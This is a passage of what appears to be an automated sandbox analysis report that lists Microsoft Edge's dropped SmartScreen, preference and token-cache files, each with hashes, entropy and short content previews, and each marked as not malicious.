C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.001149530189763
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclX43RhI4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lohhFY
MD5:	003689DD36027A10B29EEBA2890D2500
SHA1:	E763489B85A7B0A8B2E23E489D3369E07DADA331
SHA-256:	9D8F302685AD0C49839939C4FB394349F442C02710D073268D08415A9EE7B693
SHA-512:	0DF8178D6773941AEE1CCD3359A5CEAA86C54B62B918B566D7DA0476C1467B613F6CC94966F6E5F74D0876FCE2BAA4F8C203DF9E8A47312928C1C5207B5C5513
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732656510845122}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7a4b366-87f3-4527-8c18-6808a6b7e350.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ceac8e79-720e-4474-b60a-dace1dc7957f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.096633521770847
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBjwuBhDO6vP6OblPV2C2k32DFQcGoup1Xl3jVzXr2:z/Ps+wsI7ynE06j/chu3VlXr4CRo1
MD5:	067A8F7DF4A4C2E25E8EAE906CEC85F1
SHA1:	903DAF5F0AE8D340A38359A787A6C95C53EB952B
SHA-256:	556E4C4F397CEDAD15FBC2B364416CF2F60AD7013D28BD94DE5A391038156613
SHA-512:	210CAFFA66D09A8CB9E04C1C63A2A4F1987FA0DAEA48781BB42447AEDE35750C7A4F03476EC0C8C8A8D2C1A6AD42126068BA257761EAFFD501DB2920E4DFF6FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f3832d71-328e-4de6-ba19-b78a73fe7ec7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45971
Entropy (8bit):	6.089009710230732
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d97SLu6hDO6vP6OblPVefMvwy3BEtIQmxgRCAo6Goup1Xl3jVz/:mMk1rT8H197f6jgIQ9Ro6hu3VlXr4M
MD5:	FF2C42A579F2160D74B517B621A5814A
SHA1:	E6FF922CA4B36FE0876C5CDFC784E833117CC478
SHA-256:	DB0A4CE0554D5FE74116FF6CA640C73D480A2EE14055C1B908904D83FBED98BC
SHA-512:	BD7B23807B9F3715446E0F7905889CD5581D6FABE777C2E7FF3ACC4CBE2325EB8EBF7139ED9DF1B489E6D9F5FBA4D1A6F624F7B204C4D736ED9B69FA87A89412
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f7c65973-8a93-4abd-9b65-4a9c10b0386e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45924
Entropy (8bit):	6.089348899406181
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d97pLu6hDO6vP6OblPVefMvwy3BEtIQmxgRCAo6Goup1Xl3jVz/:mMk1rT8H197m6jgIQ9Ro6hu3VlXr4M
MD5:	B12E5EAA67DE7511FEE1F7E18EFCB41E
SHA1:	CFE5C4FB1574FE8581B5D3B26F2012FD8E1099B8
SHA-256:	556039A9813153DA3E60BA2C65C497D5B3CFE9007693FEAA5A3E13CC65A32201
SHA-512:	DF15D1394973476FF4C866AC9AE6D086A1E4FCA973B20EF065D9709EFC382530ABD429CF2F5EFB6ECD354B039589BE7209BB101F6060B7DB095B642EA7457D61
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe9dbd4a-8473-4525-8434-b228c24f058d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.096633521770847
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBjwuBhDO6vP6OblPV2C2k32DFQcGoup1Xl3jVzXr2:z/Ps+wsI7ynE06j/chu3VlXr4CRo1
MD5:	067A8F7DF4A4C2E25E8EAE906CEC85F1
SHA1:	903DAF5F0AE8D340A38359A787A6C95C53EB952B
SHA-256:	556E4C4F397CEDAD15FBC2B364416CF2F60AD7013D28BD94DE5A391038156613
SHA-512:	210CAFFA66D09A8CB9E04C1C63A2A4F1987FA0DAEA48781BB42447AEDE35750C7A4F03476EC0C8C8A8D2C1A6AD42126068BA257761EAFFD501DB2920E4DFF6FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8498520803355234
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxzyBxl9Il8u4rGWXwnBybHK0+Uq4TrDod1rc:mT1YAGWXIBybqr/cX/
MD5:	1D6E39A4D163DDAF79276E8D492C8C10
SHA1:	CCD0BD7A7F382A0D05FA47517660EA70B2F3F372
SHA-256:	471F36AE24103D55BE097F98B146C48A6BCF9E3415A4265231FF628298D96A86
SHA-512:	F9331C63DE25E3A7AECCB13E9FFF263F0CCB37956F7A5F697FBE40A68EB1CA9ABB6A1B4B3A0EBAAB3A79EA62C1CCB18E79EFFF1547CD947E73A2E003EFDBC98E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.B.t.+.0.2.c./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.a.C.a.1.D.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9997819955114675
Encrypted:	false
SSDEEP:	96:ZYA1aUQRZd7fNAdiTWD6wJLN6fgvAgRsN2y:Z9aUQ17fNTWukLMIA6sAy
MD5:	078F636B469D7DE00F501C81248ABFD1
SHA1:	E546F9DB9CB4C31D1C284AE49606CF05730E81C5
SHA-256:	44246F5E1DAA1445717EA75EC713145794396AE50C9733A0703FBE06A0972499
